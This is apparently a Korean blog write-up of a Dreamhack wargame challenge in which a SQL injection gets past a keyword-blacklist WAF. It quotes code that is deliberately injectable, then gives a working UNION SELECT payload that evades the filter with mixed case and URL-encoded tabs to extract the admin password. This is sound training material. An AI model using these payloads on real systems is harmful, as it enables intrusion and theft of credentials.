dreamhack

[Dreamhack] sql injection bypass WAF

부산영롱 2024. 2. 1. 22:04

SQL 인젝션 문제이고 WAF를 우회하여 공격을 성공해야한다.

keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
def check_WAF(data):
    for keyword in keywords:
        if keyword in data:
            return True

    return False

@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        if check_WAF(uid):
            return 'your request has been blocked by WAF.'
        cur = mysql.connection.cursor()
        cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
        result = cur.fetchone()
        if result:
            return template.format(uid=uid, result=result[1])
        else:
            return template.format(uid=uid, result='')

    else:
        return template

코드 중 중요한 부분만 적었다. 문제 페이지에서 입력하는 값인 'uid'는 check_WAF() 함수를 통해 keywords에 속해 있는 문자열이 있으면 차단됐다는 메시지를 보내고 이후 SQL 구문이 실행되지 않는다.

admin을 입력해보니 위와 같이 메시지가 뜨는 것을 알 수 있다.

하지만 keyword 필터링은 대/소문자, 인코딩 등의 방법으로 쉽게 우회가 가능하다.

아래도 앞의 한글자만 대문자로 바꿔 Admin을 입력하니 필터링 우회가 가능했다.

당연히 select, from, union 등도 한글자만 대문자로 바꾸면 전부 우회가 가능하다.

uid에 Admin을 입력하니 admin이라는 데이터가 표시된다.

        if result:
            return template.format(uid=uid, result=result[1])

위 코드를 보면 검색결과 중 result[1], 즉 두번째 데이터가 화면에 표시되는 것을 알 수 있다. 

CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `users`;
CREATE TABLE user(
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null
);

INSERT INTO user(uid, upw) values('abcde', '12345');
INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
INSERT INTO user(uid, upw) values('dream', 'hack');
FLUSH PRIVILEGES;

우리는 admin 계정의 upw를 알아야하기에 upw를 두번째 컬럼으로 세팅해야한다.

union을 이용해서 다음과 같은 sql 공격 코드를 만들 수 있다.

' Union Select idx,upw,uid From user where uid='Admin';--

 

하지만 위 코드를 그대로 써도 WAF에 차단된다.

keyword 필터링 중에 공백도 포함되어 있기에 공백(Space) 대신 탭(tab)을 이용해서 또 우회해야한다.

하지만 tab을 직접 입력할 수 없고 대신 url 인코딩을 한 뒤 주소창의 uid 파라미터 뒤에 입력하면 공격을 성공시킬 수 있다.

'	Union	Select	idx,upw,uid	From	user	where	uid='Admin';--
%27%09Union%09Select%09idx%2cupw%2cuid%09From%09user%09where%09uid%3d%27Admin%27%3b--

 

'dreamhack' 카테고리의 다른 글

[Dreamhack] proxy-1  (0) 2024.02.02
[Dreamhack] Command Injection Advanced  (0) 2024.02.02
[Dreamhack] error based sql injection  (0) 2024.02.01
[Dreamhack] Carve Party  (0) 2024.01.18
[Dreamhack] web-ssrf  (0) 2024.01.15